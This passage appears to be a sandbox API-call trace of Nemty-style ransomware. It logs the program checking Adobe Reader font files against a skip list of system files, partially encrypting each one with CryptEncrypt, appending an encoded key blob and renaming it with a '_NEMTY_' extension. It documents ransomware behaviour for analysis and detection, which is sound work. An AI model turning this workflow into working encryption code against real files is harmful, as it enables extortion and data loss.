dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.325] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x436ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-It.otf", cAlternateFileName="MINION~2.OTF")) returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2=".") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="..") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="...") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="windows") returned -1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="rsa") returned -1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="NTDETECT.COM") returned -1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="ntldr") returned -1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="MSDOS.SYS") returned -1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="IO.SYS") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="boot.ini") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="boot.ini") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="ntuser.dat") returned -1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="desktop.ini") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="CONFIG.SYS") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="RECYCLER") returned -1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="bootmgr") returned 1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="programdata") returned -1 [0214.325] lstrcmpiW (lpString1="MinionPro-It.otf", lpString2="appdata") returned 1 [0214.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-It.otf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0214.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-It.otf", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-It.otf", lpUsedDefaultChar=0x0) returned 16 [0214.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-It.otf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0214.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-It.otf", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-It.otf", lpUsedDefaultChar=0x0) returned 16 [0214.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-It.otf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0214.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-It.otf", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-It.otf", lpUsedDefaultChar=0x0) returned 16 [0214.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-It.otf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0214.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-It.otf", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-It.otf", lpUsedDefaultChar=0x0) returned 16 [0214.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0214.326] Sleep (dwMilliseconds=0x5) [0214.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33652fd0, dwHighDateTime=0x1d561e8)) [0214.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33652fd0, dwHighDateTime=0x1d561e8)) [0214.342] GetLastError () returned 0x0 [0214.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.342] GetLastError () returned 0x0 [0214.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.342] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.342] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.342] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.342] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="2/yBvZVCkWLzIL7dmCkx5Y+QxJbUoQWhpBkF4eGWyatG0pbji46pNQI3qmmqbsvP\r\nTSV7hNSslFxhBE8ClNzPCptEYoV9gKj0Z1DGXEC0UtG59Q1rvC171USSJJ6Kt6YN\r\n1BU94Wg+3U/TmHL3URYSDmzYhwnlnrzdFA2yOqx2qv/HM5L02mEr6GLP5hwTGXNm\r\ntSWKa+Rtt9Fz5g6fnTEg1udjnkk3NW2kJj0fLfX9siPhKZleACxrInuTlarUdcsH\r\n2n0Oi1qx/sag5HSl7IJkYmqW0pmj3paT3IiiktcB3C75SoozZx6spMNaeKW4t2UU\r\nYR4yqeW5h/T+4MaYGPKhsA==\r\n", pcchString=0x653e91c) returned 1 [0214.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.343] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=276140) returned 1 [0214.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0214.343] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.343] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0214.352] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.352] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0214.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.353] SetFilePointer (in: hFile=0x254, lDistanceToMove=276140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x436ac [0214.353] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.354] CloseHandle (hObject=0x254) returned 1 [0214.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0214.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94130 [0214.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.355] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-it.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-It.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-it.otf._nemty_kgobjgd_")) returned 1 [0214.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0214.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0214.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.355] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f615220, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Regular.otf", cAlternateFileName="MINION~1.OTF")) returned 1 [0214.355] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2=".") returned 1 [0214.355] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="..") returned 1 [0214.355] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="...") returned 1 [0214.355] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="windows") returned -1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="rsa") returned -1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="NTDETECT.COM") returned -1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="ntldr") returned -1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="MSDOS.SYS") returned -1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="IO.SYS") returned 1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="boot.ini") returned 1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="boot.ini") returned 1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="ntuser.dat") returned -1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="desktop.ini") returned 1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="CONFIG.SYS") returned 1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="RECYCLER") returned -1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="bootmgr") returned 1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="programdata") returned -1 [0214.356] lstrcmpiW (lpString1="MinionPro-Regular.otf", lpString2="appdata") returned 1 [0214.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.356] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.357] Sleep (dwMilliseconds=0x5) [0214.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33679130, dwHighDateTime=0x1d561e8)) [0214.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33679130, dwHighDateTime=0x1d561e8)) [0214.357] GetLastError () returned 0x0 [0214.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.358] GetLastError () returned 0x0 [0214.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.358] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.358] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.358] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.358] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="92CY/ZiJ+ix/miNgOX8goW3qY+9lHPPQN6ZVnpfMjEoW6kv3q576iXKzaW9Qz8K8\r\ng5d4bsbMJsRljxZ/LH5vWCkPgXyVdL4zv0dTPAhudW+ht+G1rj41j1Ojf5oJx34H\r\nFFrV23fYXakodbcgcq5R8VuHNOlEpL7WTwCIYFYfPK8xAYAv4sx569559Mvk2Sk0\r\namC2ofXM3UMBmImqZdjVMNEpFpuC4+kk1vceu63yJC6wa2tKguJzS5UdvRw/2QxW\r\nBbimKYVElQXVKFslWqKoTAIP5xbLGlwvmoLt7JpqkwcpV8N7X4YM/wsyQrqZ7iUw\r\n6+vsp60vrPrzDUYnG2mjCQ==\r\n", pcchString=0x653e91c) returned 1 [0214.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.358] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.359] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=231312) returned 1 [0214.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0214.359] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.359] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0214.368] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.368] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, 